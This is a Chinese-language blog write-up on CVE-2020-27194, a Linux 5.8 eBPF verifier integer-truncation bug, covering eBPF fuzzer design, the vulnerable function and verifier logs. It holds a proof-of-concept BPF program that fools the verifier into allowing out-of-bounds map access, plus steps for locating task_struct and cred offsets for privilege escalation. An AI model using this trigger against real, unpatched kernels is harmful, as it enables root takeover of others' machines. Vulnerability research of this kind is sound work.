【kernel exploit】BPF漏洞挖掘与CVE-2020-27194 整数溢出漏洞

影响版本:5.8.x 内核分支,v5.8.15 以及更低的版本。该分支的发行版:Fedora 33 、Ubuntu 20.10。

编译选项CONFIG_BPF_SYSCALL

漏洞描述:eBPF验证程序中进行or操作时,scalar32_min_max_or()函数将64位的值赋值到32位的变量上,导致整数截断,进而错误计算了寄存器的范围,从而绕过bpf的检查,导致越界读写。

补丁:patch scalar32_min_max_or()函数中对32位和64位的情况分开处理,防止整数截断。

测试版本:Linux-5.8.14 测试环境下载地址

利用过程:与 CVE-2020-8835利用过程相同,只需要根据不同版本的内核调一下array_map_opsinit_pid_ns的偏移,还有寻找cred地址的过程中用到的task_struct结构偏移也不一样,不同的内核版本不同的编译选项所导致。

一、BPF 漏洞挖掘介绍

BPF 介绍可以先看看 CVE-2020-8835利用过程。

本节来自Fuzzing for eBPF JIT bugs in the Linux kernel

1.bpf-fuzzer

介绍bpf-fuzzer 目标是在userspace测试BPF的verifier,这样可以利用LLVM's sanitizer和fuzzer框架。为什么要把内核编译成用户程序,而不是直接用syzkaller来挖掘呢?原因有两点,一是因为内核fuzz太慢了,二是因为BPF verifier等一些JIT编译器会用锁保护,如果在多核上跑fuzzer就很难并行。

2.内核组件编译成用户程序

获取声明:首先生成包含eBPF verifier及其主要函数bpf_check()的源代码(处理宏并包含头文件),写入.i文件,这一步是为了获得 verifier 引用的所有内核符号。生成.i文件的示例:

KERNEL_SRC=/path/to/kernel/to/fuzz-test
process_example:
    cd $(KERNEL_SRC) &&  \
        make HOSTCC=clang CC=clang kernel/bpf/verifier.i

内核函数hook:接着编译每个.i文件并链接到一起,这个过程很复。上一步虽然获得了 verifier 引用的所有的符号声明,但是并未获得所有的定义。例如,已获得kmalloc()函数的定义,但是没有获得该函数的定义。bpf-fuzzer是怎么解决的呢?采用user-space hooks,例如,用用户标准函数malloc()来定义kmalloc(),这两个函数的行为是一样的,BPF verifier不会察觉。

void *kmalloc(size_t size, unsigned int flags)
{
    return malloc(size);
}

3. BPF漏洞挖掘

挖掘思路:已有的工作是使用libfuzzer去fuzz BPF verifier,本文的目标是找到 JIT 逻辑漏洞,而非内存损坏漏洞。例如,verifier 可能认为一个内存store操作是在边界内的,但实际上并不安全。

因此,仅仅循环调用 BPF verifier 例程并等待崩溃是不够的,应该考虑以下步骤:

  • (1)生成或变异BPF程序
  • (2)执行userspace BPF verifier,来模拟执行BPF程序
  • (3)如果发现BPF程序有效,则调用真实的 bpf() 系统调用并加载程序
  • (4)真实执行BPF程序并采用一个机制来检测bug
  • (5)重复
1-ebpf_fuzz_architecture_opt.png

fuzzer架构:为了具备可扩展性,作者写了个manager,manager负责启动虚拟机来运行被测内核,然后通过SSH连接到VMs,并执行 eBPF fuzzer 进程。每个 eBPF fuzzer 进程运行一个 generator 并喂给 userspace BPF verifier,如果生成的输入是有效的,则eBPF fuzzer会调用 bpf()加载 BPF程序并触发执行。再采用检测机制来检查该BPF程序是否安全。

漏洞检测:JIT漏洞一般不会引发崩溃,所以很难检测。解决办法可以采用给JIT插入 assertions,但作者却采用了更简单的方法。既然目标是找到错误的指针运算,就意味着要使 BPF verifier 相信一个内存load或store是在边界内的。所以漏洞检测流程如下:

  • (1)加载一个 BPF map,并把指针赋给一个寄存器
  • (2)对一个或多个寄存器进行大量的 BPF ALU 和分支操作
  • (3)必须使用能通过操作改变寄存器状态的寄存器,对指向BPF map的指针进行运算操作
  • (4)向 BPF map写入随机值

如果 BPF verifier 确信 BPF 程序是安全的,那么无论对寄存器进行随机ALU运算的值是多少,无论之后对 BPF map 指针加减多少值(即遍历map中每个元素),内存操作始终都会在边界内,这意味着需要更改map的值了。

如果触发了有问题的BPF程序,但是用于测试的map内容并未发生变化,则可以得知fuzzer将某处写入内存但没有写入map,因此检测到错误的指针运算。

4.输入生成规则

输入生成:即生成有效的BPF程序,可以先阅读 CVE-2020-8835-writeup 或 英文原文。

程序有效性与程序安全性:作者没有采用对输入结构未知的fuzzer如 libfuzzer,而是从头开始写 input generator,因为通过编译和反馈还是很难生成有效的BPF程序。BPF的语言规则,保留字段必须为0,条件跳转必须往后跳且在边界内,BPF程序是高度结构化的,所以覆盖导向的fuzzer很难生成有效的BPF程序。

寄存器状态:BPF支持10个寄存器—— BPF_REG_1BPF_REG_10。如果将BPF程序用作数据过滤器,并通过传入数据包来触发该程序,则只初始化R1和R10寄存器,R1是指向输入包的指针,R10是指向本BPF程序的栈帧的指针,其他寄存器在进入程序入口时都还未初始化,但可以具有以下状态:

  • NOT_INIT:寄存器的默认状态,不能被read。
  • SCALAR_VALUE:寄存器包含标量值,该值可以是常数,也可以是范围,如1-5。
  • PTR_TO_MAP_VALUE_OR_NULL:寄存器可能是指向map的指针或NULL值。如果呀使用指针,必须先检查指针是否为NULL。
  • PTR_TO_MAP_VALUE:指向map的指针,可以放心向map读和写。
  • 除此之外还有其他状态,但与本文不相关。

5.BPF程序生成过程

(5-1)The header

目的:用常数或接近于 BPF map size 的值来初始化2个寄存器。

为了测试 BPF verifier 错误的指针运算,我们需要获得一个指向 BPF map 的指针,便于读取和写入。这个获得指向 BPF map 的指针的过程 固定出现在每个test case的开头。指令如下:

// prepare the stack for map_lookup_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), 
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// make the call to map_lookup_elem
BPF_LD_MAP_FD(BPF_REG_1, BPF_TRIAGE_MAP_FD),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// verify the map so that we can use it
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

现在 r0 就是指向map的指针了,可以用来生成指针运算。以下代码会把 BPF map 中的值赋值给两个寄存器:

// 每个寄存器都是从 BPF map 读取 64 bit,寄存器的状态从 NOT_INIT 变为 SCALAR_VALUE。寄存器的值的范围是 0-2**64,这一步的目的就是给寄存器加载一个随机的立即数。
BPF_LDX_MEM(BPF_DW, this->reg1, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, this->reg2, BPF_REG_0, 8),

为了使寄存器的值更接近被测程序 的BPF map大小,下一步是生成条件跳转,以设置两寄存器的minimum 和maximum 值。以下函数能生成寄存器的minimum bound。

// 目的是生成一个条件跳转,当该值大于 minimum bound 时,条件跳转为 true。minimum bound是在 (-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE)范围内随机生成的,作者令 FUZZ_MAP_SIZE=8192。
inline struct bpf_insn input::generate_min_bounds(unsigned reg, int64_t val) 
{
    bool is64bit = this->rg->one_of(2);
    this->min_bound = val == -1 ? this->rg->rand_int_range(-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE): val;
    
    if (is64bit)
        return BPF_JMP_IMM(BPF_JSGT, reg, this->min_bound, 1);
    else
        return BPF_JMP32_IMM(BPF_JSGT, reg, this->min_bound, 1);
}
(5-2)The body

目的:生成2个寄存器的随机ALU算术操作。

主体部分就是随意选取两个可用的寄存器,进行ALU操作或分支操作。

// 算术指令是先随机选取一种可用指令,如BPF_ADD/BPF_MUL/BPF_XOR,然后确定源寄存器和目的寄存器,并返回生成的BPF指令。分支指令也是类似,先选取可用的分支操作码,可以使用第二个寄存器或立即数,由于知道BPF程序的大小和指令的下标,这样就总能生成有效的指令。
for (size_t i = 0; i < num_instr; i++) {
    int reg1, reg2;
        
    this->chose_registers(®1, ®2);
    if (rg->n_out_of(8, 10) || i == this->num_instr - 1) {
        alu_instr a;
        a.generate(this->rg, reg1, reg2);
        this->instructions[index++] = a.instr;
    }
    else {
        branch_instr b(this->header_size, this->header_size + this->num_instr, index);
        b.generate(this->rg, reg1, reg2);
        this->instructions[index++] = b.instr;
        generated_branch = true;
    }
}
(5-3)The footer

目的:为保证每个input都能对 BPF map 进行内存写, The footer 会选择上述2个寄存器之一,接着进行算术运算(和The body中类似,但只能进行加减操作,因为指针只能进行加减运算)。最后进行内存操作,然后将R0赋值为立即数,确保有正确的返回值。

void range_input::generate_footer() 
{
    size_t index = this->header_size + this->num_instr;
    // generate the random pointer arithmetic with one of the registers
    int reg1, reg2 = -1;
    this->chose_registers(®1, ®2);
    alu_instr ptr_ar;
    ptr_ar.generate_ptr_ar(this->rg, BPF_REG_4, reg1);
    this->instructions[index++] = ptr_ar.instr;
    this->instructions[index++] = this->generate_mem_access(BPF_REG_4);
    this->instructions[index++] = BPF_MOV64_IMM(BPF_REG_0, 1);
    this->instructions[index++] = BPF_EXIT_INSN();

6.Fuzzer结果

2-ebpf_fuzzer.png

以上显示作者用了6个VM来fuzz的输出结果,每个VM一秒能测1200个BPF程序,0.77%的BPF程序是有效的。大量时间用在了内核真实测试BPF程序上,下一步可以在用户空间测试BPF程序,避免与内核交互,从而提速。


二、漏洞分析

// 漏洞函数:scalar32_min_max_or() —— 对寄存器进行或运算时,错误计算了`bpf_reg_state`寄存器状态中的寄存器值范围
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
                struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->smin_value;
    u32 umin_val = src_reg->umin_value;

    /* Assuming scalar64_min_max_or will be called so it is safe
     * to skip updating register for known case.
     */
    if (src_known && dst_known)
        return;

    /* We get our maximum from the var_off, and our minimum is the
     * maximum of the operands' minima
     */
    dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
    dst_reg->u32_max_value = var32_off.value | var32_off.mask;
    if (dst_reg->s32_min_value < 0 || smin_val < 0) {
        /* Lose signed bounds when ORing negative numbers,
         * ain't nobody got time for that.
         */
        dst_reg->s32_min_value = S32_MIN;
        dst_reg->s32_max_value = S32_MAX;
    } else {
        /* ORing two positives gives a positive, so safe to
         * cast result into s64.
         */
        dst_reg->s32_min_value = dst_reg->umin_value; // 【1】将64位的值赋值到32位的变量上,导致整数截断,进而错误计算了寄存器的范围,从而绕过bpf的检查,导致越界读写。
        dst_reg->s32_max_value = dst_reg->umax_value;
    }
}

具体可以看Poc生成的日志

  ……
9: (79) r5 = *(u64 *)(r0 +0)
 R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
        ……

9:用户的值通过r5寄存器传入值 2

10:r0 赋值给r8,r0保存map的地址,对触发漏洞无影响

11:r0 赋值为1,否则会认为r0 泄露map指针产生报错

12: r6赋值为0x600000002

14:通过r5 < r6 的条件判断使得r5寄存器的无符号范围最大为 umax_value=25769803777=0x600000001

16:通过r > 0x0 的条件判断使得r5寄存器的无符号范围最小为 umin_value=1

18:对r5进行or运算,触发漏洞函数 scalar_min_max_or,调用到漏洞函数中的【1】处,赋值后r5寄存器的 s32_min_value=1s32_max_value=1

19:将r5赋值为r6,得到r6为invP1 ,说明检查模块认为r6是常数1,而实际此时r6为2

20:对r6进行右移操作,此时检查模块认为r6得到的结果为invP0(常数0),而实际此时r6为1

具体调试过程如下

3-CVE-2020-27194-Debug.png

一个常数变量x,如果它64位无符号数的取值范围是 1<=x<=0x100000001dst_reg->umin_value 的值为1, dst_reg->umax_value 的值为0x600000001,而在赋值 dst_reg->s32_max_value 的过程中发生了截断(64位的值赋值到32位的有符号整数),导致 dst_reg->s32_max_value 的值为1,此时目标寄存器的32位范围为(1,1),因此bpf的验证模块认为这是常数1。

当我们传入2时,对其进行右移操作,验证模块认为是1>>1=0,而实际是2 >>1 = 1,所以可以对其进行乘法操作构造成任意数,因为在验证模块看来只是0乘以任意数,结果都是0,从而绕过检查,可以对map指针进行任意加减,造成越界读写。

所以bpf程序构造如下:

struct bpf_insn prog[] = {
        BPF_LD_MAP_FD(BPF_REG_9, mapfd),
            BPF_MAP_GET(0, BPF_REG_5),  // r5 = input()
        BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
        BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ;  jmp 1
        BPF_EXIT_INSN(),
        BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1),  //if r5 > 0 ; jmp 1 ; 
        BPF_EXIT_INSN(),
        // now  1 <= r5 <= 0x600000001
        BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0),   //r5 |=0;  verify: 1 <= r5 <=1 , r5=1 
        BPF_MOV_REG(BPF_REG_6, BPF_REG_5),     //r6 =r5
        BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1),  //r6 >>1    verify:0   fact: we can let r5=2  then r6=1 
        ......
}

三、漏洞利用

CVE-2020-8835利用过程相同,只需要根据不同版本的内核调一下array_map_opsinit_pid_ns的偏移,还有寻找cred地址的过程中用到的task_struct结构偏移也不一样,不同的内核版本不同的编译选项所导致。

# 根据 init_pid_ns 一步步找到当前pid的task_struct中的cred。必须自己编译带符号的vmlinux才行。
$ cat /proc/kallsyms | grep init_pid_ns         # ——找到第一个task_struct 的地址
# 查看task_struct在grep init_pid_ns中的偏移,有的是0x38
$ p/x &(*(struct task_struct *)0)->pid      # ——pid位置
$ p/x &(*(struct task_struct *)0)->cred     # ——cred位置
$ p/x &(*(struct task_struct *)0)->tasks    # —— 下一个task_struct的位置

参考:

320will——Linux kernel BPF模块的相关漏洞分析

360——CVE-2020-27194:Linux Kernel eBPF模块提权漏洞的分析与利用

启明星辰ADLab——Linux eBPF JIT 权限提升漏洞(CVE-2020-27194)分析与验证

Fuzzing for eBPF JIT bugs in the Linux kernel

你可能感兴趣的:(【kernel exploit】BPF漏洞挖掘与CVE-2020-27194 整数溢出漏洞)